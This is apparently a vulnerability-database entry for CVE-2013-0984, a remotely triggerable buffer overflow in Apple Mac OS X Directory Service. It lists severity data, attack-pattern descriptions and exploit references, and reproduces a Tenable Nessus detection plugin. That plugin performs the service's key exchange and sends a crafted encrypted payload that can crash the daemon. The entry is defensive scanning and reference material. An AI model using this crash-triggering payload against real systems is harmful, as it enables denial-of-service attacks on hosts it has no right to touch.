Vulnerabilities > CVE-2013-0984 - Improper Restriction of Operations Within the Bounds of A Memory Buffer vulnerability in Apple mac OS X and mac OS X Server

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
apple
CWE-119
critical
nessus
exploit available

Summary

Directory Service in Apple Mac OS X through 10.6.8 allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via a crafted message.

Vulnerable Configurations

Part Description Count
OS
Apple
138

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionMac OS X Server DirectoryService Buffer Overflow. CVE-2013-0984. Dos exploit for osx platform
idEDB-ID:25974
last seen2016-02-03
modified2013-06-05
published2013-06-05
reporterCore Security
sourcehttps://www.exploit-db.com/download/25974/
titleMac OS X Server DirectoryService Buffer Overflow

Nessus

  • NASL familyMisc.
    NASL idMACOSX_DIRECTORY_SRV_2013_0984.NASL
    descriptionThe remote host is susceptible to a buffer overflow vulnerability. At a minimum, this could result in a denial of service to the Apple Directory Service.
    last seen2020-06-01
    modified2020-06-02
    plugin id69319
    published2013-08-13
    reporterThis script is Copyright (C) 2013-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/69319
    titleMac OS X Directory Service Buffer Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(69319);
      script_version("1.5");
      script_cvs_date("Date: 2018/07/14  1:59:36");
    
      script_cve_id("CVE-2013-0984");
      script_bugtraq_id(60328);
      script_xref(name:"APPLE-SA", value:"APPLE-SA-2013-06-04-1");
      script_xref(name:"EDB-ID", value:"25974");
    
      script_name(english:"Mac OS X Directory Service Buffer Overflow");
      script_summary(english:"Detect Directory Service vulnerability");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote host is susceptible to a buffer overflow.");
      script_set_attribute(attribute:"description", value:
    "The remote host is susceptible to a buffer overflow vulnerability.
    At a minimum, this could result in a denial of service to the Apple
    Directory Service.");
    
      script_set_attribute(attribute:"see_also", value:"http://support.apple.com/kb/HT5784");
      script_set_attribute(attribute:"see_also", value:"http://lists.apple.com/archives/security-announce/2013/Jun/msg00000.html");
      script_set_attribute(attribute:"see_also", value:"http://www.securityfocus.com/archive/1/526808/30/0/threaded");
    
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Mac OS X 10.6.8 and Directory Service 6.5 build 621.16 or
    later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/06/04");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/06/04");
      script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/13");
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:mac_os_x");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2013-2018 Tenable Network Security, Inc.");
      script_require_ports(625);
      exit(0);
    }
    
    include("audit.inc");
    include("byte_func.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    
    app = "Apple Directory Service";
    set_byte_order(BYTE_ORDER_BIG_ENDIAN);
    
    # Encrypt Data
    function encrypt_data(key, message)
    {
      local_var iv;
    
      iv = mkpad(16);
    
      return  aes_cbc_encrypt(data:message, key:key, iv:iv);
    }
    
    # Decrypt Data
    function decrypt_data(key, message)
    {
      local_var iv;
    
      iv = mkpad(16);
    
      return  aes_cbc_decrypt(data:message, key:key, iv:iv);
    }
    
    # Send Data
    function send_data(socket, message)
    {
      local_var data;
    
      data = "DSPX" +  mkdword(strlen(message)) + message;
    
      return send(socket:socket, data:data);
    }
    
    # Receive Data
    function recv_data(socket)
    {
      local_var recvdata, message, size;
    
      recvdata = recv(socket:socket, length:65535 );
      # Valid returned data is greater then 10 bytes and has a prefix of DSPX.
      # Remove prefix (first 8 bytes) and postfix (last byte) from returned data.
      size = getdword( blob:recvdata, pos:4);
    
      if (strlen(recvdata) > 10 && recvdata =~ "^DSPX") message = substr(recvdata, 8, (size+7) );
      else message = NULL;
    
      return message;
    }
    
    # Reverse buffer
    function reverse(buffer)
    {
      local_var reversed, i;
    
      reversed = "";
      for (i = (strlen(buffer) - 1); i > -1; i--) reversed += buffer[i];
    
      return reversed;
    }
    
    #
    #  Create TCP/IP Session
    #
    # Apple has assigned the service to be on port 625
    #  present configuration does not allow the assignment to be changed.
    
    port = 625;
    
    if (thorough_tests && ! get_kb_item("global_settings/disable_service_discovery") )
    {
      port_known = get_unknown_svc(port);
      if (!port_known) audit(AUDIT_SVC_KNOWN);
    }
    if (known_service(port:port)) audit(AUDIT_SVC_KNOWN);
    if (!get_tcp_port_state(port)) audit(AUDIT_PORT_CLOSED, port);
    
    if (!get_port_state(port)) audit(AUDIT_NOT_LISTEN, app, port);
    
    # Establish a connection.
    soc = open_sock_tcp(port);
    if (!soc) audit(AUDIT_SOCK_FAIL, port, app);
    
    #
    # Send Public Key
    #
    dh_pub = mkpad(63) + mkbyte(2);
    pub_key = "DHN2" + dh_pub;
    
    send_data(socket:soc, message:pub_key);
    
    #
    #  Process Key value from Directory Service
    #
    server_buffer = recv_data(socket:soc);
    
    if (server_buffer == NULL) audit(AUDIT_NOT_INST, app);
    
    # Flip the buffer 180 degrees
    server_key = reverse(buffer:server_buffer);
    
    #
    # Calculate Session Key
    #
    prime = bn_exp(bn_dec2raw(2), bn_dec2raw(128));
    shared_key =  bn_mod_exp(server_key, bn_dec2raw(1), prime);
    
    #  Flip the Key again
    derived_key = reverse(buffer:shared_key);
    
    #
    # Secure Hand Shake
    #
    check_data = "AAAA";
    check_data += crap(data:raw_string(0x0c),length:12);
    
    enc_check_data = encrypt_data(key:derived_key, message:check_data);
    
    if (isnull(enc_check_data)) audit(AUDIT_AUDIT_NULL_ARG, app);
    
    send_data(socket:soc, message:enc_check_data[0]);
    
    #
    # Check Secure Connection Established
    #
    check = recv_data(socket:soc);
    
    if (isnull(check)) audit(AUDIT_NOT_INST, app);
    
    dec_check_data = decrypt_data(key:derived_key, message:check);
    
    if (isnull(dec_check_data)) audit(AUDIT_AUDIT_NULL_ARG, app);
    
    compare_data = "AAAB";
    compare_data += crap(data:raw_string(0x0c), length:12);
    
    # returned check data is incorrect then not Apple Directory Service and exit
    if (dec_check_data[0] !~ compare_data) audit(AUDIT_NOT_INST, app);
    
    #
    # Send Vulnerability Check
    #
    vuln_data = "";
    item = "dsAttributesAll";
    vuln_data += mkdword(strlen(item)) + item;
    vuln_data += mkpad((0x1b - strlen(vuln_data)));
    vuln_data += mkbyte(0x02);
    vuln_data += mkpad(4);
    vuln_data += mkword(0x101) + mkpad(2);
    vuln_data += mkpad((0x34 - strlen(vuln_data)));
    vuln_data += mkdword(0x1173);
    vuln_data += mkpad((0xe0 - strlen(vuln_data)));
    vuln_data += mkpad(16);
    
    enc_vuln_data = encrypt_data(key:derived_key, message:vuln_data);
    
    if (isnull(enc_vuln_data)) audit(AUDIT_AUDIT_NULL_ARG, app);
    
    send_data(socket:soc, message:enc_vuln_data[0]);
    
    #
    # Get a response?
    #
    recv_resp = recv_data(socket:soc);
    
    if (isnull(recv_resp)) audit(AUDIT_INST_VER_NOT_VULN, app);
    
    dec_recv_data = decrypt_data(key:derived_key, message:recv_resp);
    
    if (isnull(dec_recv_data)) audit(AUDIT_INST_VER_NOT_VULN, app);
    
    end_delim = substr(dec_recv_data[0], (strlen(dec_recv_data[0]) - 15));
    end_delim_chk = crap(data:raw_string(0x0f), length:15);
    
    close(soc);
    
    # End Delimiter not matching then not Apple Directory Service Vulnerability
    if (end_delim !~ end_delim_chk) audit(AUDIT_INST_VER_NOT_VULN, app);
    
    # Verify Connection still available
    # Let 5 seconds to verify the exploit code was not executed
    sleep(5);
    service_down = NULL;
    soc2 = open_sock_tcp(port);
    
    # Check if connection was established.
    if (!soc2) service_down = '\nApple Directory Service is now down.\n';
    
    close(soc2);
    
    #
    #  Report vulnerable Apple Directory Service
    #
    report = NULL;
    
    if (report_verbosity > 0)
    {
      report = '\n';
      report += 'Vulnerable version of Apple Directory Service\n';
      report += 'Directory Service found is less than version 6.5 (build 621.16)\n';
      report += 'Fixed in Mac OS X version : 10.6.8 update 2\n';
    
      report += service_down;
    }
    
    security_hole(port:port, extra:report);
    
  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_SECUPD2013-002.NASL
    descriptionThe remote host is running a version of Mac OS X 10.6 or 10.7 that does not have Security Update 2013-002 applied. This update contains numerous security-related fixes for the following components : - CoreMedia Playback (10.7 only) - Directory Service (10.6 only) - OpenSSL - QuickDraw Manager - QuickTime - Ruby (10.6 only) - SMB (10.7 only)
    last seen2020-06-01
    modified2020-06-02
    plugin id66809
    published2013-06-05
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/66809
    titleMac OS X Multiple Vulnerabilities (Security Update 2013-002)

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/121887/CORE-2013-0103.txt
idPACKETSTORM:121887
last seen2016-12-05
published2013-06-05
reporterCore Security Technologies
sourcehttps://packetstormsecurity.com/files/121887/Mac-OSX-Server-DirectoryService-Buffer-Overflow.html
titleMac OSX Server DirectoryService Buffer Overflow

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:79625
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-79625
titleMac OSX Server DirectoryService Buffer Overflow